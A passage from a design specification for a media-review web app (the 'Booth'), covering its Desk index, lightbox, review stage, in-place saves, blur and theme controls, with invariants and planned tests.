page with no region to swap at all, is not patched: the script reloads
with a GET, so what you see is the server's truth.
- The swap also carries the per-viewer state a reload would have reset
but an in-place save must not:
- live media whose src is unchanged;
- a revealed blur;
- a closed doc;
- disclosures the reader opened or closed;
- every DIRTY control: a half-typed or edited note, a radio picked and
not yet sent.
All of it is matched by IDENTITY, never by position: a form by its
action and its hidden `ask`/`target`/`mark`/`f` fields, a control by its
form plus its name (plus its value for a radio or checkbox), a disclosure
by the pick or form it holds. A flag that adds a tray row above a draft
must not move the draft into the wrong box. The form just sent is the
exception: its fields come back as the server rendered them, and its
disclosure comes back folded.
3. **Saves are SERIALIZED.** Each save runs its POST, its GET and its swap
before the next begins, so an older snapshot never lands after a newer one
(three quick flags show three flags). A form already queued or in flight
ignores another submit: a double-click writes one note, not two.
4. **The script never re-POSTs.** A retry after a lost response would re-apply
the judgment: a duplicate note, or a re-dated answer.
- On a non-204 HTTP response, or a network failure, it writes a fixed
message into the page's server-rendered status element
(`data-region="status"`, via textContent). After a beat (0.9 s, so the
words can be read) it reloads the page with a GET, so what you see is the
server's truth.
- The one case where a non-JS submit happens is a script that cannot run at
all. That is the plain form.
**The server renders every state; the script only places it.** This is U3's
rule — a second renderer in JavaScript would be the same bug in a new language.
### C4 — the Desk (index.html, app.index, list_booths)
`list_booths` gains five fields, all read in the one pass it already makes:
- **`open_since`**: the `created` of the OLDEST open pick in the booth, or
None. Computed via `open_marks`, INV-2.
- `Mark.created` is a STRING. It is parsed with `datetime.fromisoformat`,
never compared lexically: two ISO stamps with different offsets, or a
legacy-import stamp, sort wrong as text.
- An unparseable stamp sorts AFTER every parseable one, and name breaks the
tie.
- **`flags`**: the number of CURRENT items carrying a READABLE flag mark,
shown on every Desk row that has any — `flagged_targets(marks)` intersected
with the booth's item rels. `flagged_targets(marks)` is the ONE flag
predicate. The Desk, the tray, the orphan list, the rail's `flagged` filter,
the tiles, the filmstrip, the tape and the review button all read it, and an
unreadable flag entry counts nowhere. A flag whose file
has since been deleted is an ORPHAN: it counts on no Desk row, and the tray
lists it (C5) so it can be cleared.
- **`landed_at`**: the newest mtime among the booth's CONTENT — its regular
files and symlinks with no dot-component in their path, each read by
`lstat`. **Deliberately not `_newest_mtime`** (INV-5). Five refinements,
each load-bearing:
- **Files only, never directories.** Creating any dotfile (`.viewed`, the
marks file's temp-and-replace) bumps the booth directory's own mtime, so
counting directories would make the flag you set after looking read as a
delivery.
- **A symlink counts by its OWN mtime** — when it was placed — never its
target's. A link to a busy file outside the booth must not make the booth
read as newly delivered.
- **An empty booth landed at 0.0.**
- **One unreadable entry is skipped.** Reading the whole booth as landed NOW
for one bad entry would pin it in 'new' forever.
- **A booth whose walk cannot run at all reads as NOW.** It is shown as new
rather than hidden as old.
- **`viewed_at`**: the mtime of `.viewed`, or None.
- **`preview`**: up to 4 image items as `(url, blurred)`, first four in item
order. A blurred one renders blurred, the same rule as the cover.
- A booth with no images (an audio set, a report) shows today's kind
placeholder instead (`♪ audio`, `▦ page`, `▶ video`, `◆ files`).
- These are the original files displayed small with `loading=lazy`. No
thumbnail is GENERATED anywhere in R2; see Out of scope.
**The index renders three sections, always in this order:**
1. **Needs you** — `marks_open > 0`, **or** `hold == "unreadable"`.
- `marks_open` counts `open_marks(...)`, which only ever returns PICKS. A
booth whose marks are only flags or notes is the operator's own judgment,
not a question to them, so it is NOT here.
- A damaged `.marks.json` holds its booth but is not open by `open_marks`
(errored picks are not open). Somebody has to fix it, so it must not hide
in 'everything else'. It renders with the existing "marks unreadable"
lifetime line.
- Ordered by `(open_since, name)`, oldest question first. A booth held
`unreadable` has no `open_since` — even when a readable pick sits beside
the damage, because the damage is the thing to fix — and sorts after every
booth that has one.
2. **New since you looked** — `not in_needs_you and (viewed_at is None or
landed_at > viewed_at)`. Ordered by `(-landed_at, name)`, newest first.
3. **Everything else** — last UPDATED first: `(-landed_at, name)`, the date
the row shows as "updated". **Amended 2026-09-23 by the operator** ("last
activity can just be last time the booth was updated, not necessarily
operator's last activity"). This section used to be `list_booths`' order,
`(mtime, name)` descending over `_newest_mtime`, and that clock counts a
look: opening a booth moved it up, and a script that fetched every booth
(a post-deploy check) collapsed the whole section into reverse name order.
- Flagging, viewing or blurring a booth no longer moves it. Only content
does, which is also what moves a booth into (2).
- `list_booths` keeps its own `(mtime, name)` order for its other readers,
and `_newest_mtime` still feeds lifetime (INV-5). Only the Desk's
section stopped reading it.
The side column holds:
- **Benches**: `read_benches(data_dir)`, non-retired, in the registry's
existing order. Its error return renders as an error line, never as an empty
list. This is the booth page's rule: damaged and absent must not render the
same.
- **Agent-written URLs become links only when they are `http(s)`.** A bench
URL or a bookmark with any other scheme renders as plain text. Autoescape
stops markup, not a `javascript:` href.
- **Bookmarks** come from the board the CLI writes: the booth named by
`BOOTH_LINKS_BOARD`, default `links`. They are read through the same
never-raising path as `_board_rows`, which gets factored so both callers
share it.
- Shown: rows that are not booth URLs (`booth_target(url) is None`).
- Order: pinned first, then newest (`order_for_display`).
- Capped at 8, with a link to the full board.
- **Pickup**: the existing upload form, unchanged, moved from the page head.
**An empty section does not render** — no heading, no box. This is the
load-bearing negative half of the kept-lane pair it replaces
(`'class="grid kept-grid"' not in html`), carried forward into test_flow.py as
a pair: present when it has rows, absent when it has none. It applies to each
of the three sections and to the Benches and Bookmarks panels.
The kept/ephemeral lanes are **removed**: 23 of 24 live booths are kept, so the
lanes sort nothing. Kept status and the lifetime line (`_lifetime.html`,
unchanged) remain on every row.
**A row's controls sit on its facts line**, each beside the state it changes:
`release` after "kept", `★ keep` after a countdown or a hold, `× wipe` last.
They are always visible, with no hover-only reveal: that was a column that
reserved its room while invisible (operator, 2026-09-23, on the live Desk:
"release and x take up space whether or not they're visible"), and touch has
no hover. The side column renders only when the row has a badge, so a row
without one reserves nothing. The forms, POST targets and `data-confirm`
wording are unchanged.
- **On a coarse pointer every row control is at least 28px square**, the floor
it had as a column, and wipe stands clear of the zip link. With scripts off
no confirm fires, so a mis-tap on wipe is the delete. A fine pointer keeps
the compact line.
- **The confirm dialog shows the name as it should be READ.** Control and bidi
formatting characters in an agent-made name show as U+FFFD, so a U+202E or a
newline cannot rewrite what the operator approves. A `data-confirm` word the
page does not know still asks, generically: the prompt fails closed.
- **No page scrolls sideways at any width**, including an install path with no
break opportunity in the footer or the empty Desk (`code` wraps anywhere).
Tested at 390, 720, 850, 1000 and 1400px with the heaviest row the Desk draws.
### C5 — the lightbox (booth.html, booth_view)
- **Layout.** Two panes on a gallery booth: the set on the left, the
**verdict aside** on the right (`position:sticky`, `data-region="verdict"`).
Under 1000px the aside stacks above the set, with its flags and notes
collapsed as `<details>`, which needs no script.
- The markup is a CLOSED `<details>`.
- Above 1000px, CSS alone shows its content (`::details-content`) and hides
its summary, so nothing is folded where there is room.
- A browser without `::details-content` shows the fold at every width: one
tap, never hidden.
- **Board booths are unchanged.** Anything with `links.md` keeps today's
single column.
- **The aside holds, top to bottom:**
1. open picks (the existing `_marks.html` pick rendering);
2. the flag tray;
3. notes;
4. the booth-note form.
- **The flag tray is ordered by ORDINAL** — a declared change from the marks
panel's `(created, id)`. It shows each flagged item's original file
displayed small (no generated thumbnail), blurred if the item is blurred,
with its #.
The order is total with no tie-break, because rels are unique.
- **Orphan flags** — flags whose target is no longer an item — follow the
tray, by target, each with its unmark form. A flag the page cannot show
must still be clearable, or it counts in the rail forever.
- **The rail stays.** Same element, same `.rail` class (booth.html's cursor
and base.html's `--rail-h` script both read it), same filter hrefs, same
group anchors. When `rail.groups` is non-empty AND every group is one
contiguous run in the rendered order, the grid additionally renders an
inline group header before each group's first tile.
- Groups come from basenames and the order from full paths, so groups can
interleave (`d1/aa`, `d1/bb`, `d2/aa`).
- A header would then either repeat or file an item under the wrong group,
so interleaved groups get no inline headers. The rail's jump links are
unaffected. It is a
`<div>` spanning the grid, never a `figure.item`, so the keyboard and the
order check are blind to it by construction.
- **Every tile shows `#NN`** (its ordinal, zero-padded to the set's width).
Each tile is `data-region="item-<url>"`, so the in-place script can replace
exactly the tile it flagged.
- **An audio or video tile carries a `review` link** to its review page. On
those tiles a click drives the player, so without the link the review is
reachable only by key.
### C6 — the review (view.html, booth_view_file)
This applies to image, video and audio items. Docs keep `doc.html`.
A requested rel the filesystem cannot represent (a NUL byte, an over-long
path) is a 404, as any other unknown rel is — never a 500.
- **The stage**: the artifact at fit size, with a 1:1 toggle for images ONLY.
- The toggle and its script are rendered and bound only when the stage is
an `<img>`.
- The toggle is a JS-only VIEWING convenience, as it is today: the button
starts hidden and the script shows it. With scripts off the image shows at
fit size, and no judgment depends on the toggle (INV-3).
- Video and audio get their native controls and no toggle. A toggle that
renders on audio and silently no-ops (today's script binds
`getElementById('vimg')`) is the failure this names.
- **The rail** (`data-region="rail"`) holds:
- the item's ordinal `#NN` (its number in the whole set, the same number
its tile shows);
- `K of M`, where K is its position in `review_chain` and M is the length
of `review_chain`. The tape's "N of M seen" uses the SAME M, and N counts
`.seen` ∩ `review_chain`;
- its position within its group, when the review RING spans two or more
groups (the gallery rail's own rule: one group for everything says
nothing);
- the caption;
- the flag form (`back=view`);
- notes and the add-note form (`back=view`);
- any open pick TARGETING this item, answerable here (`back=view`);
- the booth's other open picks as a count and a link.
- **The filmstrip** is `review_chain` in order, with ordinals, flagged frames
underlined and the current frame in the reticle.
- **The tape** (B's device) is one segment per `review_chain` item: seen /
flagged / current, plus "N of M seen".
- **The end of the set** is not a separate page. On the last ring item the
rail adds a summary block: the seen count, the flag tray, and EVERY OTHER
open pick, answerable in place.
- That includes picks targeting other items, not only booth-level ones: the
end of the set is where the remaining questions get cleared.
- Before the last item, the other picks are a count and a link.
- **Keys** (additive). **Every** key here, new and old, is ignored while focus
is in an `input`, `textarea`, `select` or `contenteditable`, the same
`isEditable` guard view.html carries today, so F never fires mid-note:
| key | action |
|---|---|
| ← → and Space | move. Shift+Space moves back. Space is left to a focused `<video>`/`<audio>` player, whose own play key it is |
| F | flag |
| N | focus the note |
| Esc | back to the grid, at `#item-<url>` so the grid scrolls to where you were |
### C7 — copy and brand (the two rulings that are not layout)
- **Voice: plain and direct** (ruling `voice=plain`). Every NEW string R2
introduces says what it means, with no villainy and no jokes. Existing
strings are unchanged unless their surface is rewritten.
- **No SVS emblem** anywhere in the Booth's chrome (ruling `emblem=no`). The
brand dot and the reticle favicon from the SVOS retheme stay.
## Invariants
- **INV-1 — one resolver.** `ordinal` is set in `booth_items`. No route computes
a position.
- **INV-2 — order, stated.** Each ordered surface has a one-line rule:
| surface | rule |
|---|---|
| items | `sorted(rel)` |
| ordinals | position in that |
| review ring | that, filtered to media |
| filmstrip, tape | the review ring |
| flag tray | by ordinal |
| Desk sections | fixed: needs → new → everything |
| needs you | `(open_since, name)` |
| new since you looked | `(-landed_at, name)` |
| everything else | `(-landed_at, name)`: last updated first (amended 2026-09-23) |
| bookmarks | `order_for_display` |
The notes list keeps `(created, id)`.
- **INV-3 — JS-off parity.** Every judgment, filter and jump works with
scripts disabled. The only JS-only affordances are:
- the keys;
- the in-place swap;
- the image 1:1 toggle (a viewing convenience, unchanged from today);
- the existing copy buttons and blur reveal.
The narrow-screen collapse is `<details>` and needs no script.
- **INV-4 — 303 byte-identity, for every request shape that existed before
R2.**
- For a request where `wants_json` is False and `back` is absent or
`marks`, each mark route's response (status, headers, body) is
byte-identical to its pre-R2 response.
- `back=view` is a NEW request shape with no pre-R2 counterpart. Its landing
is specified in C3 and is the one declared exception.
- **INV-5 — two named clocks.**
- `mtime` / `_newest_mtime`: activity. It includes dotfiles and excludes
locks, and it feeds lifetime. (It fed 'everything else' until 2026-09-23;
see §3.)
- `landed_at`: content only (non-dot entries), and it feeds 'new since you
looked'.
- Never the one where the other is meant: a mark or a view is not new
content, and new content is not the only activity.
- **INV-6 — no second renderer.** The in-place script inserts server-rendered
HTML and builds none.
- **INV-7 — autoescape.** No `|safe` on any booth name, item name, caption,
why or mark text. The flag tray and filmstrip render names through the same
escaping path as the grid.
- **INV-8 — blur honesty.** A blurred item stays blurred on every new surface:
the Desk preview strip, the flag tray, the filmstrip and the review stage.
Reveal stays per-BROWSER and client-side (nothing persisted). Copy keeps admitting it is cosmetic.
## Assertions that change (declared before the code, per CLAUDE.md)
| test | today | after R2 | why |
|---|---|---|---|
| test_booth.py L785 | `class="grid kept-grid"` present when a booth is kept | absent; the kept booth appears in its Desk section with the `kept` lifetime line | requirement 8: the lanes sort nothing |
| test_booth.py L786 | `class="card card-kept"` present | replaced by the row carrying `data-kept="1"` | same |
| test_embed_browser.py `test_the_keyboard_flag_actually_submits` | pressing `f` causes a NAVIGATION (`page.expect_navigation()`), and the reloaded page shows the flag | pressing `f` causes NO navigation; the flag comes back from the server into the swapped tile. A window marker set before the keypress must survive, proving no reload | with JS on, the flag now applies in place (requirement 3). The gallery reload was the no-JS design working, not a defect, and the plain-form path is still pinned by the INV-4 golden. The defect R2 fixes is the full-size EJECTION, `view.html`'s flag form carrying no `back`. The test's real claim — the key reaches the server and the server's state comes back — is kept, and asserted more strictly |
| test_booth.py L789 | the kept booth renders BEFORE the ephemeral one (`html.index("links") < html.index("scratch")`) | replaced by the Desk's stated order (needs → new → everything, each with its own key) | the kept-first order was the lane's; with no lane there is no kept-first rule, and a second hidden ordering would break INV-2 |
| test_booth.py L810-811 | lane absent when nothing is kept | these two SURVIVE unchanged (they assert absence and stay true) | — |
Every other existing assertion is expected to survive, and one of the TDD
slices is "the whole suite green before any new test". Named because they were
checked:
- the `vnav vprev` / `vnav vnext` anchors (test_booth L569-591 and
test_navigation L337) keep their classes and hrefs;
- `Wipe now` stays in the booth header;
- `class="boothhead"` stays.
## Accepted risks (named, not fixed)
- **`.seen` is read-modify-write without a lock.** Two reviews of the same
booth racing can drop one rel from `.seen`. The cost is cosmetic — a frame
shown unseen on the tape — and the next look repairs it; a lock would buy a
cosmetic count at the price of a lock file the lifetime clock must ignore.
- **A `.viewed` symlink planted by an agent freezes 'new'.** `viewed_at`
reads it by `lstat`, and `record_view` refuses to write through it
(`O_NOFOLLOW`), so the marker never moves again: once content lands after
it, the booth reads as 'new' however often it is opened. It fails in the
visible direction — shown, never hidden — and needs write access to the
booth, which already buys worse. The remedy is deleting the link.
- **`Item` gains `ordinal` with no default.** `booth_items` is the single
construction site, keyword-only; a default would let a second site forget
it silently (INV-1).
## Out of scope
- Compare (r3).
- Thumbnails.
- 1–9 answer keys.
- Lifetime policy for answered picks.
- The verbatim path. A verbatim booth's media items remain reachable at
`view?f=` by URL, as today, and nothing in the verbatim page links there.
- The link-board page (`/b/links/`) beyond CSS.

# R2b — the Desk row, Reveal all, the theme toggle
## D1 — the Desk row
The operator, verbatim: *"let's make it obvious which are kept and which are
ephemeral"*; *"the zip download button is in between keep/release and wipe, and
looks awkward"*; *"let's have the download, keep and release buttons only appear
on mouseover"*.
- **The lifetime is a pill in the row's right column, always visible.** It is
state, not a control, so it stays when the controls hide, and the right column
scans down the Desk as one column of state.
- `life-kept` when `b.kept`: sage (SVOS: a judgment made), prefixed `★`.
- `life-held` when not kept and `b.hold` is `open` or `unreadable`: amber.
- `life-count` otherwise: neutral outline, prefixed `◷`.
- The pill wraps `lifetime(...)`, whose output is unchanged; the class is
chosen from `kept`/`hold` alone.
- The badges (open count, new, pickup, marks unreadable) stay in the same
column, above the pill. The column always renders now, because every row
has a lifetime.
- **The facts line is facts only**: item count and flag count. The lifetime and
every control leave it.
- **The controls are one cluster, `.desk-acts`, in this order:** `⬇ zip`, then
`★ keep` or `release`, then `× wipe`, set apart from the other two. Zip leaves
the middle; release stays next to × (the operator's earlier "x next to
release").
- **Where a real hover exists, the cluster takes no room.** "Real hover" is
`(hover: hover) and (pointer: fine)` with NO coarse pointer present
(`any-pointer: coarse` does not match). A touch laptop reports a mouse, but a
finger on it cannot hover, so it gets the touch treatment below.
- At rest the cluster is absolutely positioned over the top-right corner of
the row's preview strip, at opacity 0 and `pointer-events: none`. On row
`:hover` or `:focus-within`, BOTH are restored: opacity 1 and
`pointer-events: auto`. A visible control that cannot be clicked is a
defect.
- It covers pictures, never information: its box never intersects
`.desk-main` or `.desk-side` at any width.
- Keyboard: the controls stay in the tab order while hidden (opacity, never
`visibility`/`display`), and focusing one reveals the cluster.
- At ≤700px the strip is the row's first line, full width, and the text
column, pill and badges wrap below it. The cluster sits at the strip's
top-right, which is still picture.
- **Everywhere else (no hover, a coarse primary pointer, or any coarse pointer
present), the cluster is visible and in flow**, on its own line at the
bottom of the row.
- **The cluster is LAST in the row's markup**, so the booth's name comes first
in tab order and wipe comes last. Where a real hover exists it is placed over
the strip from the row's own box: the strip keeps to the row's top, 210px
wide from the row's 12px padding.
- Accepted: the hover query uses Media Queries 4 `not (...)`. An engine
without MQ4 drops the whole query, and the failure is the safe
direction: the controls show, in flow.
- Known limit: the touch-LAPTOP branch (a fine primary pointer plus a coarse
one) cannot be emulated, because Chromium's touch emulation makes the
primary pointer coarse. That branch is covered by reading the media query,
not by a test. Hover-only would mean no
controls at all on touch. Every control there is at least 28px square
(r2's Slate T2 floor).
- **× hides with the others** (OPEN-1, answered yes). A visible × on every row
would be a standing invitation to the one irreversible action. A visible × on
every row is a standing invitation to the one irreversible action, and hiding
the safe controls while the destructive one stays inverts the priority. It
appears with the cluster, last, set apart.
- Unchanged: the forms, their POST targets, `data-confirm`, `data-booth`, the
confirm script and its `shown()`, the ≥28px coarse-pointer floor, and "no page
scrolls sideways at any width".
### D1b — dates (operator, added 2026-09-23: "I think I want creation and update dates on the booths now too")
Merge 2, with the row. booth-dev has put both on the record (thread
01M38D39ANKF2TW2F15TEYJ1GT):
- `created_at` is the directory's birth time via `statx`, a float epoch, or
None when the filesystem cannot say. None renders as NOTHING, never a guess.
- "Updated" is `landed_at`, the content clock the "new" section already reads.
They render on the Desk row's facts line and in the booth header's status line
as dated FACTS, a different kind of thing from the lifetime pill (state) and the
controls (actions). One macro, `_dates.html`, serves both:
- **created** is a DATE, "created 12 Sep" (with the year only when it is not
this year's);
- **updated** is an AGE, "updated 5d ago", measured from ONE clock per page
(`now` in the context), so every row is measured from the same instant;
- each is a `<time>` with `datetime` (ISO) and its exact local stamp as the
title;
- **updated shows whenever it differs from created by a minute or more,
EITHER way.** Copied files keep their mtimes while the folder is born now,
so content can be older than its booth. Within a minute, one date;
- a content clock AHEAD of now is said as its DATE, never as an age ("updated
just now" would be false);
- an age is in its largest whole unit, a day being 24h;
- a date the filesystem cannot give, or the calendar cannot hold, renders
NOTHING. The filters never raise: the Desk renders every row in one
response, so one unrenderable clock would otherwise 500 the index for every
booth.
## D2 — Reveal all (blur ruling A)
- **One STATE per booth, shown by a control in two places: "👁 reveal all —
blur is cosmetic" / "🙈 blur again".** It appears in the booth header, the
review's top bar and a blurred doc's own top bar. Every instance sits OUTSIDE
every `data-region`, so no in-place swap replaces it: its state lives in the
tab, and a swap must never reset it. Below 600px it reads "👁 reveal all";
its title still says the blur is cosmetic. The server puts the control in the markup only
where it can act, and always with the `hidden` attribute: in the header when
any item of the booth is blurred (`Item.blurred`), and in the review when any
item of the review RING is (a blurred doc is not on the review page, so a
control there would act on nothing). The script removes `hidden` and binds it. Without
JS it is in the markup but never shown.
- **State: `sessionStorage["booth.reveal:" + <booth name>] = "1"`.** Per booth,
per tab, gone when the tab closes, so a blurred booth is blurred again next
time. Nothing reaches the server.
- A READ that throws (a private window, blocked site data) reads as "not
revealed".
- A WRITE that throws still applies the click to the page in front of you:
it is only not remembered for the next page. A control that does nothing
when clicked is a defect. Neither case ever raises.
- **The mechanism is one class on `<html>`, `reveal-all`.** CSS lifts the blur
under it on every booth surface: tiles, the flag tray, the filmstrip and the
review stage. `<html>` is outside every `data-region`, so an in-place swap
can never drop it.
- `<html data-booth="<name>">` is on EVERY page rendered for one booth: the
booth page, the review, the doc view and the marks page. It is an
autoescaped attribute, read by `getAttribute` and never templated into
script. An early `<head>` script adds `reveal-all` before first paint when
that booth's key is set, so a revealed booth does not flash blurred on the
next page of the reel.
- Because every change of page is a full load, the class is re-decided per
page, from that page's `data-booth`. Booth A's reveal cannot follow you
into booth B.
- The index's `<html>` carries no `data-booth` (its rows' own `data-booth`
attributes are unrelated), so **nothing on the index is revealed by D2**,
the Desk strip included.
- **A board holding files gets both controls.** Only the one-click wipe is
board-suppressed; an item's "◉ booth" label points at the header control,
so the control must be there.
- **The full-page doc view is blurred honestly.** A blurred doc's own page
renders its body blurred, with its own JS-only reveal; Reveal all lifts it
by the same `<html>` class.
- **The per-item reveal defers to it, BY STYLESHEET.** Under `.reveal-all` the
per-tile and stage reveal buttons are `display: none`. That is a CSS
consequence of the class, so markup swapped in after a save obeys it with no
script. Reveal all never touches an item's own `revealed` class: "blur
again" returns every item to exactly the per-item state it had, an item
revealed on its own staying revealed.
- INV-8 of r2 holds: the server renders every blurred item blurred; the reveal
stays per-browser and client-side; the copy keeps saying it is cosmetic.
## D2b — the booth blur toggle (added after the contract panel was dispatched)
booth-dev landed the whole-booth marker and its route while the panel was
reading; this is the control the operator uses, which the blur ruling assumed.
- **"◌ blur booth" / "◉ booth blurred" in the booth header and the review's
top bar (`.vbar`)**, each wrapped in its OWN region, `blur-booth`. Its label is
server state, so an in-place save refreshes it with everything else; a fog
set elsewhere since the page loaded would otherwise leave it saying "blur
booth". It is a plain `<form method=post action=/b/<name>/blurbooth>` with
`on=1|0`, so it works with scripts off (INV-2). From the review it carries
`back=<rel>`. The route lands on the review only when `back` is an item of
the review ring, and otherwise on the booth page; the landing is built from
the ring, never echoed.
- **Fogging never writes through a link.** booth-dev's `set_booth_blurred` used
`touch()`, which followed a planted `.blurbooth` symlink: a click of this
control rewrote an outside file's mtime, or created a dangling target. Any
entry already at the name reads as fogged, so nothing is written; otherwise
the marker is created with `O_CREAT | O_EXCL | O_NOFOLLOW`.
- **Space never hijacks a focused control.** The review's Space-to-advance
ignores a focused button, link or summary, so a keyboard can press these
controls.
- **Its state comes from the server**, never from the client:
`booth_blurred = is_booth_blurred(booth)` in both contexts. The label says
what IS, and pressing it flips it.
- **The Desk row carries a `blurred` badge** when `booth_blurred`, so a fogged
strip says why. It is one `is_booth_blurred` call per booth in the pass
`list_booths` already makes. The badge is information: it is not the
control, and it does not hide on hover.
- It is independent of Reveal all. Fogging a booth sets server state for every
viewer; Reveal all lifts the fog for one tab.
- **Each item's own blur control tells the truth under a fogged booth.**
`Item.blurred` is the COMPOSED fact (own OR booth). The per-item form changes
only the item's own entry in `.blurred`, so the gallery also carries
`blurred_self`, from `Item.blurred_self` (the same single read `booth_items` makes for `blurred`).
- An item blurred only because the booth is shows "◉ booth", a label with no
form, pointing at the header. A per-item un-blur there would be overridden
by the booth flag and visibly do nothing.
- An item blurred on its own keeps its "◉ blurred" un-blur.
- Found by rendering the built page, not by any review.
## D3 — the theme toggle
- **System · Light · Dark, in the top bar of every page.** A segmented control
of three buttons with `aria-pressed`. The top bar is outside every
`data-region`, so no swap replaces it. It is in the markup with `hidden`,
and the script removes that and binds it.
- **State: `localStorage["booth.theme"]` ∈ {`light`, `dark`}; absent = System.**
The opposite lifetime to Reveal all, deliberately: a theme should outlive the
tab, a reveal must not. A READ that throws reads as System. A WRITE that
throws still applies the choice to this page, and it is only not
remembered.
- **Mechanism: `data-theme` on `<html>`.** Absent = the OS preference, exactly
today's sheet. An early `<head>` script sets it before first paint, so a
forced theme never flashes the other one.
- **A choice made in another tab moves every open Booth page** (the `storage`
event), as it moves the ask chrome.
- **System is live-following BY CONSTRUCTION.** Choosing System removes
`data-theme`, and the `prefers-color-scheme` media query takes over. A media
query tracks the OS live, so no `matchMedia` listener is needed: JS never
computes the theme.
- **The token sheet is re-vendored at the same SVOS SHA (ed2f8d8) with a new
scoping transform, and no value changes.** The complete selector list:
| block | selector |
|---|---|
| primitives, dark, art layer | `:root` (unconditional: dark is the default, and what forced dark leaves standing) |
| light + art-light | `@media (prefers-color-scheme: light)` → `:root:not([data-theme="dark"])` |
| light + art-light | `:root[data-theme="light"]` |
| dark-hc | `@media (prefers-contrast: more)` → `:root` |
| light-hc | `@media (prefers-contrast: more) and (prefers-color-scheme: light)` → `:root:not([data-theme="dark"])` |
| light-hc | `@media (prefers-contrast: more)` → `:root[data-theme="light"]` |
- **Forced dark** excludes both light rows, so the unconditional dark block
stands, with dark-hc under more contrast.
- **Forced light** matches the bare light row at specificity (0,2,0), which
beats dark-hc's `:root` (0,1,0). The light-hc row then applies under more
contrast.
- **The preservation check runs in BOTH directions at vendoring time**:
every declaration of the old sheet is in the new, and the new has none the
old lacked. The committed test checks each re-scoped copy against the
UNMOVED dark block. SVOS's light and dark declare the same 42 properties,
and its dark-hc and light-hc the same 41, so a declaration the transform
drops fails it. Light declares every dark-block property PLUS the art
layer's four light-only values (the three shadows and the armed glow).
That extra set is written in the test from SVOS, never derived from the
copies, so dropping it from both copies fails too.
- **No JS: no toggle, and the page follows the OS**, as today.
- **The toggle reaches inside verbatim pages** (operator: "theme toggle reaches
inside"). `embed.js` reads the same `localStorage["booth.theme"]` (the same
origin) and marks each `.bk-ask` IT MOUNTED (never an author's own element
of that class) with `data-bk-theme`. Its
colours follow that attribute exactly as the Booth's own sheet follows
`data-theme`: forced when set, OS when absent. It follows a change made in
another tab through the `storage` event. It sets nothing on the host page's
own `<html>`: the author's page is not ours to theme, only our guest chrome
inside it. If a forced theme makes the chrome look actively broken against
a host page, that goes back to the operator rather than being absorbed.
## Invariants
- **INV-1 — nothing new on the server beyond READS.** No route and no file are
added: `booth_blurred` in two contexts and on the Desk row (`is_booth_blurred`),
and `blurred_self` per gallery item (`Item.blurred_self`, from `booth_items`' one read). D2 and D3 are per-browser state; D1 is markup and CSS.
- **INV-2 — JS-off parity (r2 INV-3).** Every control on the row works with
scripts off. Reveal all and the toggle do not render without JS. The page
follows the OS.
- **INV-3 — no reserved room for a hidden control** where a real hover exists.
The box of every element in the row other than the cluster — the strip, each
preview image, the text column, the side column, the pill — is identical
with the cluster present or removed.
- **INV-4 — blur honesty (r2 INV-8).** Nothing on the index is revealed by D2.
- **INV-5 — autoescape.** The booth name reaches the reveal-state machinery
only as an escaped attribute value (`data-booth`), read by `getAttribute` and
never templated into a script.
- **INV-6 — no flash.** A forced theme and a set reveal are applied before
first paint.
## TESTS
- `the_row_controls_take_no_room_where_a_hover_exists` [tracer]: at rest the
cluster is at opacity 0 and cannot be clicked. On row hover it is at opacity 1
and a click on keep reaches the server. The box of every other element in
the row is identical with the cluster removed. The cluster's box never
intersects the text or side column, at 390 / 720 / 1000 / 1400px.
- `on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px`: a touch
context (no hover, coarse pointer).
- `the_lifetime_pill_class_is_kept_held_or_counting`: the class is chosen by
state, the lifetime words are unchanged, and the pill is visible with no
hover.
- `the_row_controls_run_zip_keep_or_release_then_wipe`.
- `reveal_all_reveals_every_blurred_surface_and_survives_the_next_page`: tiles
and tray on the booth page, stage and filmstrip on the review, across a
navigation in the same tab; a fresh tab (new context) is blurred again.
- `reveal_all_never_reaches_the_desk`.
- `the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review`: header
and review forms POST `/blurbooth`; the label follows `is_booth_blurred`; the
review form carries `back`; the Desk row shows `blurred`.
- `reveal_all_survives_an_in_place_save`: after a save, the blur is still
lifted, the control still reads "blur again" and still works, and the
per-tile buttons are still hidden.
- `reveal_all_on_booth_a_does_not_reveal_booth_b`.
- `blur_again_restores_each_items_own_reveal`.
- `reveal_all_is_absent_without_blurred_items_and_hidden_without_js`: no markup
when nothing is blurred; with blurred items, the markup carries `hidden` and
a JS-disabled context never shows it.
- `a_storage_failure_still_applies_the_click`: sessionStorage and localStorage
throwing on write; the reveal and the theme still apply to the page.
- `the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live`:
pressing Light/Dark changes `--surface-base` and survives a reload (new page,
same context); System plus an emulated OS scheme flip changes it WITHOUT a
reload.
- `a_forced_theme_follows_high_contrast`: under `prefers-contrast: more`,
forced dark resolves exactly what OS dark does, and forced light what OS
light does. The check reads tokens that DIFFER between a theme and its
high-contrast variant (`--text-faint`, `--border-default`; `--surface-card`
is the same in both and would prove nothing), and asserts that high contrast
actually changed them.
- `a_forced_theme_and_the_os_theme_are_the_same_declarations`: each light copy
equals the other and declares the dark block's property set plus the four
art-light values; each light-hc copy equals the other and declares exactly
the dark-hc block's.
- `created_and_updated_are_dated_facts_and_none_says_nothing`,
`updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date`,
`a_date_no_calendar_can_hold_renders_nothing_and_never_500s`,
`an_age_is_said_in_its_largest_whole_unit` (D1b).
- `a_rows_booth_name_comes_before_its_controls_in_tab_order`,
`the_pill_shows_at_rest_and_focus_reveals_the_controls`,
`with_scripts_off_a_rows_controls_still_act` (D1).
- `a_theme_chosen_in_one_tab_moves_the_others`,
`the_theme_marks_only_the_ask_fragments_we_mounted` (D3).

module: "templates/view.html + base.html CSS (the review stage: fit / 1:1, the prev/next arrows, drag-pan)"

Fit/1:1 exists but hides whenever a picture fits at natural size, and Fit never enlarges, so the two modes often look identical and the toggle comes and goes from picture to picture. The arrows sit at the stage's edges, hundreds of pixels from a portrait picture. 1:1 pans only by scrollbars, and a drag picks the picture up."

# R2c — the review stage
## S1 — Fit fills; 1:1 is the pixel truth
- **Fit scales the picture to the largest size at which it is WHOLE inside the
stage, UP or down, undistorted** (ruling "Fit may enlarge"): contain, never
cover — nothing is ever cropped in Fit. It is CSS: the image box fills the
stage and `object-fit: contain` places the picture in it. So the no-JS render
is also Fit-fills — a declared change to R2's INV-3 note ("with scripts off
the image shows at fit size"): the size changes, the promise (one picture at a
readable size, no judgment behind a script) holds.
- The drop shadow follows the picture's own pixels (`drop-shadow`), not the
